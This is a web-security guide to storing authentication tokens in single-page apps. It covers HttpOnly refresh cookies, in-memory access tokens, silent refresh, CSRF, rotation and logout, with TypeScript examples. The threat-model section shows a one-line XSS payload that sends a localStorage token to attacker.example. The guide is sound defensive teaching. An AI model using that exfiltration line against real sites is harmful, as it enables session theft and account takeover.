Securing Auth Tokens in Browser Storage

Almost every single-page app has to answer one question: where does the session credential live between requests? The convenient answer — localStorage.setItem('token', jwt) — is also the one that turns a single cross-site scripting bug into a full account takeover. This guide lays out the threat model of a JSON Web Token in script-readable storage and the architecture that defuses it: a long-lived refresh token in an HttpOnly cookie that JavaScript cannot touch, a short-lived access token held only in memory, and a silent refresh on reload. It is the credential-handling companion to Storage Security, Encryption & Privacy; for the at-rest encryption of non-credential data, see the sibling guide Encrypting Browser Storage with Web Crypto. The detailed attack walkthrough lives in Why a JWT in localStorage Is XSS-Vulnerable.

Recommended auth token storage architecture A data-flow diagram. Inside the browser tab, an injected XSS script cannot read the refresh token because it is held in an HttpOnly cookie. The cookie is auto-sent to the server's /auth/refresh endpoint, which validates and rotates it and returns a short-lived access token that lives only in an in-memory variable. On reload the realm is wiped and a silent refresh rehydrates the access token. BROWSER TAB · JS REALM BROWSER COOKIE STORE YOUR SERVER Injected / XSS script reads whatever JS can read Access token in-memory variable only Refresh token HttpOnly · Secure SameSite · Path=/auth POST /auth/refresh validate the cookie rotate + issue access token HttpOnly · JS can't read auto-sent returns access token Reload wipes the realm → a silent refresh rehydrates the in-memory access token credentials: 'include' sends the HttpOnly cookie; nothing sensitive is written to storage

The threat model: a JWT in localStorage

A JWT in localStorage is appealing because it is trivial: write it on login, read it on every request, attach it as a Bearer header. The problem is the read side. localStorage is readable by any script executing on the origin, with no further permission. So the moment an attacker gets script to run in your page — through an injected dependency, a vulnerable third-party widget, a reflected or stored XSS payload — they execute this in one line:

// What an injected XSS payload runs. No prompt, no permission, no trace.
fetch('https://attacker.example/steal', {
  method: 'POST',
  body: localStorage.getItem('token') ?? '',
});

The stolen token is a bearer credential: it is valid from any machine until it expires, and “logout” on the victim’s device does nothing to it because the server never learns it was copied. With a typical 15-minute to multi-hour access-token lifetime, that is a wide window for an attacker to act as the user. The defining weakness is not the JWT format — it is that the credential lives somewhere JavaScript can read it. Remove that property and the whole class of attack collapses. The step-by-step exploitation is detailed in Why a JWT in localStorage Is XSS-Vulnerable.

The recommended architecture

The design splits one credential into two, each with a different lifetime and a different home:

  1. A long-lived refresh token in an HttpOnly, Secure, SameSite cookie. HttpOnly means JavaScript cannot read it via document.cookie; it is attached automatically only when the browser makes a request to your origin. An XSS payload cannot exfiltrate what it cannot read.
  2. A short-lived access token in a module-scoped in-memory variable. It never touches localStorage, sessionStorage, IndexedDB, or any cookie. It dies when the tab closes or the page reloads — and that is fine, because you can mint a new one.
  3. A silent refresh on reload. On startup, the app calls a refresh endpoint with credentials: 'include'. The browser sends the HttpOnly cookie, the server validates it and returns a fresh access token, which goes back into the in-memory variable.

The refresh cookie: attribute spec

The security of the whole design rests on the attributes the server sets on the refresh cookie in its Set-Cookie response header. Each one closes a distinct hole:

Attribute Value What it enforces
HttpOnly (flag) Cookie is invisible to document.cookie and all JavaScript — defeats XSS exfiltration
Secure (flag) Cookie is sent only over HTTPS — defeats network sniffing
SameSite Lax / Strict / None Controls whether the cookie rides cross-site requests — the CSRF lever
Path /auth Scopes the cookie so it is attached only to auth endpoints, not every request
Max-Age e.g. 604800 (7 days) Bounds the refresh token’s lifetime server-side
Domain (omit for host-only) Omitting it keeps the cookie first-party host-only, which survives Safari ITP

A representative header for a refresh endpoint: Set-Cookie: refresh=<token>; HttpOnly; Secure; SameSite=Lax; Path=/auth; Max-Age=604800. The access token, by contrast, has no such header — it lives only in the JavaScript variable returned in the response body.

Implementation walkthrough

The client side is a small module that owns the in-memory access token, a silent-refresh function, and a fetch wrapper that attaches the token and retries once on expiry. Read it top to bottom: state, refresh, a de-duplicating accessor, then the authenticated request.

// The access token never leaves memory. A reload re-fetches it using the
// HttpOnly refresh cookie, so nothing sensitive is ever written to storage.
let accessToken: string | null = null;
let inflight: Promise<string> | null = null;

async function refreshAccessToken(): Promise<string> {
  const res = await fetch('/auth/refresh', {
    method: 'POST',
    credentials: 'include', // sends the HttpOnly refresh cookie
  });
  if (!res.ok) {
    accessToken = null;
    throw new Error('Session expired');
  }
  accessToken = (await res.json()).accessToken as string;
  return accessToken;
}

async function getAccessToken(): Promise<string> {
  if (accessToken) return accessToken;
  // De-duplicate concurrent refreshes so a burst of requests triggers one call.
  inflight ??= refreshAccessToken().finally(() => { inflight = null; });
  return inflight;
}

async function authedFetch(input: RequestInfo, init: RequestInit = {}): Promise<Response> {
  const token = await getAccessToken();
  const res = await fetch(input, {
    ...init,
    headers: { ...init.headers, Authorization: `Bearer ${token}` },
  });
  if (res.status === 401) {
    // Access token expired mid-session: refresh once and retry.
    accessToken = null;
    const retryToken = await getAccessToken();
    return fetch(input, {
      ...init,
      headers: { ...init.headers, Authorization: `Bearer ${retryToken}` },
    });
  }
  return res;
}

The cost is one extra round-trip after each reload to rehydrate the access token. In exchange, there is no bearer credential anywhere a script can read it. This is the same in-memory discipline applied to encryption keys in Encrypting Browser Storage with Web Crypto: secrets live in memory, never in persistent script-readable storage.

Concurrency and lifecycle

An in-memory token has a lifecycle tied to the JavaScript realm, and two timing concerns fall out of that.

Concurrent refreshes. On a cold start, several components may fire authenticated requests in the same tick, each finding accessToken null and each wanting to refresh. Without coordination that is a thundering herd of /auth/refresh calls, and with rotation enabled the second call would present a token the first already invalidated — logging the user out. The inflight promise in getAccessToken collapses that burst into a single refresh that every caller awaits. Keep exactly one in-flight refresh per tab.

Per-tab isolation and reload. The access token lives in one tab’s module scope, so it does not survive a reload and is not visible to other tabs. Each tab performs its own silent refresh on startup — the shared HttpOnly cookie makes that cheap and independent. If you want a login in one tab to wake others, broadcast a signal (not the token) over a BroadcastChannel so each tab runs its own refresh; never post the access token itself across tabs, since that reintroduces a copy outside the originating scope. When a tab closes, its access token vanishes with the realm — no cleanup and nothing left at rest.

Error handling and retry

Two failure modes need explicit handling, and the module above covers both:

// Route a hard refresh failure to re-authentication instead of looping.
async function ensureSession(): Promise<void> {
  try {
    await getAccessToken();
  } catch {
    // Refresh cookie is dead — send the user back to login.
    window.location.assign('/login');
  }
}

One boundary condition to guard: if the network drops during a refresh, treat it as a transient error and back off rather than forcing logout, so a brief connectivity blip does not evict a user whose refresh cookie is still valid.

Why sessionStorage is not the answer

A common half-measure is to move the token from localStorage to sessionStorage, reasoning that it is “more isolated.” It is marginally better — sessionStorage is scoped to a single tab and is cleared when that tab closes, so the exposure window is shorter and a stolen token does not outlive the session. But it is still read by any script on the origin, which means the same one-line XSS payload steals it just as easily while the tab is open. sessionStorage reduces the blast radius over time; it does not remove the script-readable property that is the actual vulnerability. Treat it as a non-fix for credentials. The full behavioral contrast between the two Web Storage surfaces is in localStorage vs sessionStorage, and the specific token comparison in localStorage vs IndexedDB for Auth Tokens.

Comparison of storage surfaces for tokens

Storage XSS-readable CSRF-exposed Survives reload Survives tab close Verdict for credentials
localStorage Yes No Yes Yes Avoid — one XSS exfiltrates the token
sessionStorage Yes No Yes No Avoid — still script-readable while open
In-memory variable No (not persisted) No No No Best for the access token
HttpOnly cookie No Yes (mitigate with SameSite) Yes Yes Best for the refresh token

The two safe homes are complementary: the in-memory variable holds the short-lived access token (no persistence, no script-readable surface), and the HttpOnly cookie holds the long-lived refresh token (survives reload, invisible to JavaScript). Cookies introduce CSRF as a trade — the next section handles it.

CSRF and SameSite

Because the browser attaches a cookie automatically to every request to its origin, an attacker’s page can trigger a request that carries your refresh cookie even though it cannot read it — that is cross-site request forgery. The first line of defense is the SameSite cookie attribute:

For a refresh endpoint, set the cookie HttpOnly; Secure; SameSite=Lax (or Strict if your flow tolerates it), and additionally require a non-cookie proof on state-changing requests — a CSRF token echoed in a header, or restricting refresh to a POST that a cross-site form cannot forge with custom headers. SameSite narrows the attack surface; an explicit anti-CSRF token closes it.

Token rotation and logout

A refresh token that never changes is a long-lived liability. Rotation issues a brand-new refresh token on every refresh and invalidates the previous one server-side; if an attacker and the legitimate client both present the same old token, the server detects the reuse and revokes the whole token family. This turns a stolen refresh token into a single-use item that trips an alarm.

Logout must be server-side. Deleting the in-memory access token and clearing the cookie on the client is not enough — the refresh token is still valid on the server until it expires. A correct logout calls a server endpoint that revokes the refresh token (and its rotation family), then clears the client state:

async function logout(): Promise<void> {
  // Server revokes the refresh token family; only then is the session dead.
  await fetch('/auth/logout', { method: 'POST', credentials: 'include' });
  accessToken = null;
  inflight = null;
  // Optionally redirect to a logged-out route.
}

After this, even a previously captured access token stops working once it expires (minutes), and the refresh token is dead immediately. Pair logout with purging any per-user cached data — coordinated through Service Worker Caching Strategies — so a shared device does not leak the prior user’s responses.

Browser compatibility

The architecture relies on HttpOnly/Secure/SameSite cookies and fetch with credentials: 'include', all of which are Baseline across modern browsers. The behaviors that change between versions are cookie defaults and partitioning.

Behavior Chrome / Edge Firefox Safari Notes
SameSite=Lax default when unset Yes Yes Yes Cookies without SameSite default to Lax
SameSite=None requires Secure Yes Yes Yes Cross-site cookies must be HTTPS
HttpOnly hides from document.cookie Yes Yes Yes The core protection; universal
Partitioned cookies (CHIPS) Yes Behind flag/limited Partitioned by default (ITP) Third-party cookies bucketed per top-level site

The Safari note matters most: Intelligent Tracking Prevention partitions and limits third-party cookies aggressively, so a refresh cookie must be first-party (same registrable domain as the app) to survive. CHIPS (Cookies Having Independent Partitioned State) lets you opt a cookie into per-top-level-site partitioning with the Partitioned attribute when you genuinely need a third-party cookie, but for first-party auth you generally do not. Keep the auth origin and the app origin aligned, and the cookie behaves consistently everywhere.

Performance and scale considerations

The pattern adds work in exactly one place — the silent refresh — so tune around that.

Frequently Asked Questions

Is sessionStorage safe enough for an access token?

No. sessionStorage is cleared when the tab closes, which shortens the exposure window, but it is still readable by any script on the origin — the same XSS payload that steals from localStorage steals from sessionStorage. Hold the access token in a module-scoped in-memory variable instead, and refresh it on reload.

If the refresh token is in a cookie, am I now exposed to CSRF?

Cookies are auto-attached, so yes, you take on CSRF risk. Mitigate it with SameSite=Lax or Strict on the cookie plus an explicit anti-CSRF token (or a custom header) on state-changing requests. HttpOnly stops token theft via XSS; SameSite plus a CSRF token stops request forgery.

Why hold the access token in memory if a reload just loses it?

Losing it on reload is the point: nothing sensitive is ever persisted where a script could read it. On startup the app calls the refresh endpoint with credentials: 'include', the browser sends the HttpOnly refresh cookie, and the server returns a fresh access token. The cost is one round-trip; the benefit is no stealable credential at rest.

Does clearing localStorage and cookies on the client log the user out?

Not fully. The refresh token remains valid on the server until it expires, so a captured copy still works. A correct logout calls a server endpoint that revokes the refresh token family, then clears client state. Combine that with refresh-token rotation so a reused token trips reuse detection and revokes the session.

Related